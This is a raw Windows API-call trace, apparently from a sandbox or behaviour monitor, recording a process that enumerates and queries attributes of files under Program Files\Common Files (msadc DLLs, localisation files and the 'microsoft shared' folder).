	[0241.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f)) returned 1
	[0241.397] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1
	[0241.398] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.398] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0241.399] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.399] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800)) returned 1
	[0241.401] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0241.408] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800)) returned 1
	[0241.408] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0241.412] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0241.412] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadce.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00)) returned 1
	[0241.416] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.426] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b400)) returned 1
	[0241.426] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.431] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44400)) returned 1
	[0241.431] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.431] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.432] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d5b9b4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d5b9b4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d5b9b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x57000)) returned 1
	[0241.432] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44060e78, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x44060e78, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x44060e78, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36200)) returned 1
	[0241.433] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.433] VirtualAlloc (lpAddress=0xc0004f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f4000
	[0241.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4403ac10, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4403ac10, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4403ac10, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0241.434] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7c00)) returned 1
	[0241.442] SetEvent (hEvent=0x124) returned 1
	[0241.442] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00)) returned 1
	[0241.447] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600)) returned 1
	[0241.450] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.450] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0xc000117940 | out: lpFileInformation=0xc000117940*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0241.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.451] VirtualAlloc (lpAddress=0xc0004f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f6000
	[0241.451] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0xc0001176f8 | out: lpFindFileData=0xc0001176f8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1
	[0241.452] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117728 | out: lpFindFileData=0xc000117728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1
